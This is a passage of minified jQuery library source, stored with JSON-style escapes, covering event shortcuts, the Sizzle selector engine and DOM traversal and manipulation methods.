keypress keyup error contextmenu\".split(\" \"),function(a,b){f.fn[b]=function(a,c){c==null\u0026\u0026(c=a,a=null);return arguments.length\u003e0?this.on(b,null,a,c):this.trigger(b)},f.attrFn\u0026\u0026(f.attrFn[b]=!0),C.test(b)\u0026\u0026(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)\u0026\u0026(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h\u003ci;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!=\"string\"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length\u003e0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h\u003ci;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1\u0026\u0026!g\u0026\u0026(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\\((?:\\([^()]+\\)|[^()]+)+\\)|\\[(?:\\[[^\\[\\]]*\\]|['\"][^'\"]*['\"]|[^\\[\\]'\"]+)+\\]|\\\\.|[^ \u003e+~,(\\[\\\\]+)+|[\u003e+~])(\\s*,\\s*)?((?:.|\\r|\\n)*)/g,d=\"sizcache\"+(Math.random()+\"\").replace(\".\",\"\"),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\\\/g,k=/\\r\\n/g,l=/\\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1\u0026\u0026d.nodeType!==9)return[];if(!b||typeof b!=\"string\")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(\"\"),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length\u003e1\u0026\u0026p.exec(b))if(w.length===2\u0026\u0026o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]\u0026\u0026(b+=w.shift()),j=y(b,j,f)}else{!f\u0026\u0026w.length\u003e1\u0026\u0026d.nodeType===9\u0026\u0026!v\u0026\u0026o.match.ID.test(w[0])\u0026\u0026!o.match.ID.test(w[w.length-1])\u0026\u0026(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1\u0026\u0026(w[0]===\"~\"||w[0]===\"+\")\u0026\u0026d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length\u003e0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q=\"\",r==null\u0026\u0026(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)===\"[object Array]\")if(!u)e.push.apply(e,k);else if(d\u0026\u0026d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]\u0026\u0026(k[t]===!0||k[t].nodeType===1\u0026\u0026m.contains(d,k[t]))\u0026\u0026e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]\u0026\u0026k[t].nodeType===1\u0026\u0026e.push(j[t]);else s(k,e);l\u0026\u0026(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b\u003ca.length;b++)a[b]===a[b-1]\u0026\u0026a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length\u003e0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e\u003cf;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!==\"\\\\\"){g[1]=(g[1]||\"\").replace(j,\"\"),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],\"\");break}}}}d||(d=typeof b.getElementsByTagName!=\"undefined\"?b.getElementsByTagName(\"*\"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c\u0026\u0026c[0]\u0026\u0026m.isXML(c[0]);while(a\u0026\u0026c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null\u0026\u0026f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)===\"\\\\\")continue;s===r\u0026\u0026(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j\u0026\u0026(i=k(j,f,n,s),p=e^i,d\u0026\u0026i!=null?p?g=!0:s[n]=!1:p\u0026\u0026(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],\"\");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error(\"Syntax error, unrecognized expression: \"+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e=\"\";if(d){if(d===1||d===9||d===11){if(typeof a.textContent==\"string\")return a.textContent;if(typeof a.innerText==\"string\")return a.innerText.replace(k,\"\");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8\u0026\u0026(e+=n(c));return e},o=m.selectors={order:[\"ID\",\"NAME\",\"TAG\"],match:{ID:/#((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,CLASS:/\\.((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)/,NAME:/\\[name=['\"]*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)['\"]*\\]/,ATTR:/\\[\\s*((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)\\s*(?:(\\S?=)\\s*(?:(['\"])(.*?)\\3|(#?(?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)*)|)|)\\s*\\]/,TAG:/^((?:[\\w\\u00c0-\\uFFFF\\*\\-]|\\\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\\(\\s*(even|odd|(?:[+\\-]?\\d+|(?:[+\\-]?\\d*)?n\\s*(?:[+\\-]\\s*\\d+)?))\\s*\\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\))?(?=[^\\-]|$)/,PSEUDO:/:((?:[\\w\\u00c0-\\uFFFF\\-]|\\\\.)+)(?:\\((['\"]?)((?:\\([^\\)]+\\)|[^\\(\\)]*)+)\\2\\))?/},leftMatch:{},attrMap:{\"class\":\"className\",\"for\":\"htmlFor\"},attrHandle:{href:function(a){return a.getAttribute(\"href\")},type:function(a){return a.getAttribute(\"type\")}},relative:{\"+\":function(a,b){var c=typeof b==\"string\",d=c\u0026\u0026!l.test(b),e=c\u0026\u0026!d;d\u0026\u0026(b=b.toLowerCase());for(var f=0,g=a.length,h;f\u003cg;f++)if(h=a[f]){while((h=h.previousSibling)\u0026\u0026h.nodeType!==1);a[f]=e||h\u0026\u0026h.nodeName.toLowerCase()===b?h||!1:h===b}e\u0026\u0026m.filter(b,a,!0)},\"\u003e\":function(a,b){var c,d=typeof b==\"string\",e=0,f=a.length;if(d\u0026\u0026!l.test(b)){b=b.toLowerCase();for(;e\u003cf;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e\u003cf;e++)c=a[e],c\u0026\u0026(a[e]=d?c.parentNode:c.parentNode===b);d\u0026\u0026m.filter(b,a,!0)}},\"\":function(a,b,c){var d,f=e++,g=x;typeof b==\"string\"\u0026\u0026!l.test(b)\u0026\u0026(b=b.toLowerCase(),d=b,g=w),g(\"parentNode\",b,f,a,d,c)},\"~\":function(a,b,c){var d,f=e++,g=x;typeof b==\"string\"\u0026\u0026!l.test(b)\u0026\u0026(b=b.toLowerCase(),d=b,g=w),g(\"previousSibling\",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!=\"undefined\"\u0026\u0026!c){var d=b.getElementById(a[1]);return d\u0026\u0026d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!=\"undefined\"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e\u003cf;e++)d[e].getAttribute(\"name\")===a[1]\u0026\u0026c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!=\"undefined\")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=\" \"+a[1].replace(j,\"\")+\" \";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h\u0026\u0026(e^(h.className\u0026\u0026(\" \"+h.className+\" \").replace(/[\\t\\n\\r]/g,\" \").indexOf(a)\u003e=0)?c||d.push(h):c\u0026\u0026(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,\"\")},TAG:function(a,b){return a[1].replace(j,\"\").toLowerCase()},CHILD:function(a){if(a[1]===\"nth\"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\\+|\\s*/g,\"\");var b=/(-?)(\\d*)(?:n([+\\-]?\\d*))?/.exec(a[2]===\"even\"\u0026\u0026\"2n\"||a[2]===\"odd\"\u0026\u0026\"2n+1\"||!/\\D/.test(a[2])\u0026\u0026\"0n+\"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]\u0026\u0026m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,\"\");!f\u0026\u0026o.attrMap[g]\u0026\u0026(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||\"\").replace(j,\"\"),a[2]===\"~=\"\u0026\u0026(a[4]=\" \"+a[4]+\" \");return a},PSEUDO:function(b,c,d,e,f){if(b[1]===\"not\")if((a.exec(b[3])||\"\").length\u003e1||/^\\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1\u0026\u0026a.type!==\"hidden\"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode\u0026\u0026a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute(\"type\"),c=a.type;return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"text\"===c\u0026\u0026(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"radio\"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"checkbox\"===a.type},file:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"file\"===a.type},password:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"password\"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"submit\"===a.type},image:function(a){return a.nodeName.toLowerCase()===\"input\"\u0026\u0026\"image\"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b===\"input\"||b===\"button\")\u0026\u0026\"reset\"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b===\"input\"\u0026\u0026\"button\"===a.type||b===\"button\"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b\u003cc[3]-0},gt:function(a,b,c){return b\u003ec[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e===\"contains\")return(a.textContent||a.innerText||n([a])||\"\").indexOf(b[3])\u003e=0;if(e===\"not\"){var g=b[3];for(var h=0,i=g.length;h\u003ci;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case\"only\":case\"first\":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k===\"first\")return!0;l=a;case\"last\":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case\"nth\":c=b[2],e=b[3];if(c===1\u0026\u0026e===0)return!0;f=b[0],g=a.parentNode;if(g\u0026\u0026(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1\u0026\u0026(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0\u0026\u0026j/c\u003e=0}},ID:function(a,b){return a.nodeType===1\u0026\u0026a.getAttribute(\"id\")===b},TAG:function(a,b){return b===\"*\"\u0026\u0026a.nodeType===1||!!a.nodeName\u0026\u0026a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(\" \"+(a.className||a.getAttribute(\"class\"))+\" \").indexOf(b)\u003e-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+\"\",f=b[2],g=b[4];return d==null?f===\"!=\":!f\u0026\u0026m.attr?d!=null:f===\"=\"?e===g:f===\"*=\"?e.indexOf(g)\u003e=0:f===\"~=\"?(\" \"+e+\" \").indexOf(g)\u003e=0:g?f===\"!=\"?e!==g:f===\"^=\"?e.indexOf(g)===0:f===\"$=\"?e.substr(e.length-g.length)===g:f===\"|=\"?e===g||e.substr(0,g.length+1)===g+\"-\":!1:e\u0026\u0026d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return\"\\\\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\\[]*\\])(?![^\\(]*\\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\\r|\\n)*?)/.source+o.match[r].source.replace(/\\\\(\\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)===\"[object Array]\")Array.prototype.push.apply(d,a);else if(typeof a.length==\"number\")for(var e=a.length;c\u003ce;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)\u00264?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex\u0026\u0026b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k\u003cc\u0026\u0026k\u003cd;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement(\"div\"),d=\"script\"+(new Date).getTime(),e=c.documentElement;a.innerHTML=\"\u003ca name='\"+d+\"'/\u003e\",e.insertBefore(a,e.firstChild),c.getElementById(d)\u0026\u0026(o.find.ID=function(a,c,d){if(typeof c.getElementById!=\"undefined\"\u0026\u0026!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!=\"undefined\"\u0026\u0026e.getAttributeNode(\"id\").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!=\"undefined\"\u0026\u0026a.getAttributeNode(\"id\");return a.nodeType===1\u0026\u0026c\u0026\u0026c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement(\"div\");a.appendChild(c.createComment(\"\")),a.getElementsByTagName(\"*\").length\u003e0\u0026\u0026(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]===\"*\"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1\u0026\u0026d.push(c[e]);c=d}return c}),a.innerHTML=\"\u003ca href='#'\u003e\u003c/a\u003e\",a.firstChild\u0026\u0026typeof a.firstChild.getAttribute!=\"undefined\"\u0026\u0026a.firstChild.getAttribute(\"href\")!==\"#\"\u0026\u0026(o.attrHandle.href=function(a){return a.getAttribute(\"href\",2)}),a=null}(),c.querySelectorAll\u0026\u0026function(){var a=m,b=c.createElement(\"div\"),d=\"__sizzle__\";b.innerHTML=\"\u003cp class='TEST'\u003e\u003c/p\u003e\";if(!b.querySelectorAll||b.querySelectorAll(\".TEST\").length!==0){m=function(b,e,f,g){e=e||c;if(!g\u0026\u0026!m.isXML(e)){var h=/^(\\w+$)|^\\.([\\w\\-]+$)|^#([\\w\\-]+$)/.exec(b);if(h\u0026\u0026(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]\u0026\u0026o.find.CLASS\u0026\u0026e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b===\"body\"\u0026\u0026e.body)return s([e.body],f);if(h\u0026\u0026h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1\u0026\u0026e.nodeName.toLowerCase()!==\"object\"){var k=e,l=e.getAttribute(\"id\"),n=l||d,p=e.parentNode,q=/^\\s*[+~]/.test(b);l?n=n.replace(/'/g,\"\\\\$\u0026\"):e.setAttribute(\"id\",n),q\u0026\u0026p\u0026\u0026(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll(\"[id='\"+n+\"'] \"+b),f)}catch(r){}finally{l||k.removeAttribute(\"id\")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement(\"div\"),\"div\"),e=!1;try{b.call(c.documentElement,\"[test!='']:sizzle\")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\\=\\s*([^'\"\\]]*)\\s*\\]/g,\"='$1']\");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)\u0026\u0026!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document\u0026\u0026a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length\u003e0}}}(),function(){var a=c.createElement(\"div\");a.innerHTML=\"\u003cdiv class='test e'\u003e\u003c/div\u003e\u003cdiv class='test'\u003e\u003c/div\u003e\";if(!!a.getElementsByClassName\u0026\u0026a.getElementsByClassName(\"e\").length!==0){a.lastChild.className=\"e\";if(a.getElementsByClassName(\"e\").length===1)return;o.order.splice(1,0,\"CLASS\"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!=\"undefined\"\u0026\u0026!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b\u0026\u0026(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)\u002616)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!==\"HTML\":!1};var y=function(a,b,c){var d,e=[],f=\"\",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,\"\");a=o.relative[a]?a+\"*\":a;for(var h=0,i=g.length;h\u003ci;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[\":\"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\\[\\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.globalPOS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!=\"string\")return f(a).filter(function(){for(c=0,d=b.length;c\u003cd;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack(\"\",\"find\",a),g,h,i;for(c=0,d=this.length;c\u003cd;c++){g=e.length,f.find(a,this[c],e);if(c\u003e0)for(h=g;h\u003ce.length;h++)for(i=0;i\u003cg;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a\u003cc;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),\"not\",a)},filter:function(a){return this.pushStack(T(this,a,!0),\"filter\",a)},is:function(a){return!!a\u0026\u0026(typeof a==\"string\"?Q.test(a)?f(a,this.context).index(this[0])\u003e=0:f.filter(a,this).length\u003e0:this.filter(a).length\u003e0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g\u0026\u0026g.ownerDocument\u0026\u0026g!==b){for(d=0;d\u003ca.length;d++)f(g).is(a[d])\u0026\u0026c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!=\"string\"?f(a,b||this.context):0;for(d=0,e=this.length;d\u003ce;d++){g=this[d];while(g){if(i?i.index(g)\u003e-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length\u003e1?f.unique(c):c;return this.pushStack(c,\"closest\",a)},index:function(a){if(!a)return this[0]\u0026\u0026this[0].parentNode?this.prevAll().length:-1;if(typeof a==\"string\")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a==\"string\"?f(a,b):f.makeArray(a\u0026\u0026a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b\u0026\u0026b.nodeType!==11?b:null},parents:function(a){return f.dir(a,\"parentNode\")},parentsUntil:function(a,b,c){return f.dir(a,\"parentNode\",c)},next:function(a){return f.nth(a,2,\"nextSibling\")},prev:function(a){return f.nth(a,2,\"previousSibling\")},nextAll:function(a){return f.dir(a,\"nextSibling\")},prevAll:function(a){return f.dir(a,\"previousSibling\")},nextUntil:function(a,b,c){return f.dir(a,\"nextSibling\",c)},prevUntil:function(a,b,c){return f.dir(a,\"previousSibling\",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,\"iframe\")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d\u0026\u0026typeof d==\"string\"\u0026\u0026(e=f.filter(d,e)),e=this.length\u003e1\u0026\u0026!R[a]?f.unique(e):e,(this.length\u003e1||N.test(d))\u0026\u0026M.test(a)\u0026\u0026(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(\",\"))}}),f.extend({filter:function(a,b,c){c\u0026\u0026(a=\":not(\"+a+\")\");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g\u0026\u0026g.nodeType!==9\u0026\u0026(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1\u0026\u0026e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1\u0026\u0026++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1\u0026\u0026a!==b\u0026\u0026c.push(a);return c}});var V=\"abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",W=/ jQuery\\d+=\"(?:\\d+|null)\"/g,X=/^\\s+/,Y=/\u003c(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^\u003e]*)\\/\u003e/ig,Z=/\u003c([\\w:]+)/,$=/\u003ctbody/i,_=/\u003c|\u0026#?\\w+;/,ba=/\u003c(?:script|style)/i,bb=/\u003c(?:script|object|embed|option|style)/i,bc=new RegExp(\"\u003c(?:\"+V+\")[\\\\s/\u003e]\",\"i\"),bd=/checked\\s*(?:[^=]|=\\s*.checked.)/i,be=/\\/(java|ecma)script/i,bf=/^\\s*\u003c!(?:\\[CDATA\\[|\\-\\-)/,bg={option:[1,\"\u003cselect multiple='multiple'\u003e\",\"\u003c/select\u003e\"],legend:[1,\"\u003cfieldset\u003e\",\"\u003c/fieldset\u003e\"],thead:[1,\"\u003ctable\u003e\",\"\u003c/table\u003e\"],tr:[2,\"\u003ctable\u003e\u003ctbody\u003e\",\"\u003c/tbody\u003e\u003c/table\u003e\"],td:[3,\"\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\",\"\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\"],col:[2,\"\u003ctable\u003e\u003ctbody\u003e\u003c/tbody\u003e\u003ccolgroup\u003e\",\"\u003c/colgroup\u003e\u003c/table\u003e\"],area:[1,\"\u003cmap\u003e\",\"\u003c/map\u003e\"],_default:[0,\"\",\"\"]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,\"div\u003cdiv\u003e\",\"\u003c/div\u003e\"]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]\u0026\u0026this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode\u0026\u0026b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild\u0026\u0026a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,\"body\")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1\u0026\u0026this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f\n.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,\"before\",arguments)}},after:function(){if(this[0]\u0026\u0026this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,\"after\",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b\u0026\u0026d.nodeType===1\u0026\u0026(f.cleanData(d.getElementsByTagName(\"*\")),f.cleanData([d])),d.parentNode\u0026\u0026d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1\u0026\u0026f.cleanData(b.getElementsByTagName(\"*\"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,\"\"):null;if(typeof a==\"string\"\u0026\u0026!ba.test(a)\u0026\u0026(f.support.leadingWhitespace||!X.test(a))\u0026\u0026!bg[(Z.exec(a)||[\"\",\"\"])[1].toLowerCase()]){a=a.replace(Y,\"\u003c$1\u003e\u003c/$2\u003e\");try{for(;d\u003ce;d++)c=this[d]||{},c.nodeType===1\u0026\u0026(f.cleanData(c.getElementsByTagName(\"*\")),c.innerHTML=a);c=0}catch(g){}}c\u0026\u0026this.empty().append(a)},null,a,arguments.length)},replaceWith:function(a){if(this[0]\u0026\u0026this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!=\"string\"\u0026\u0026(a=f(a).detach());return this.each(function(){var 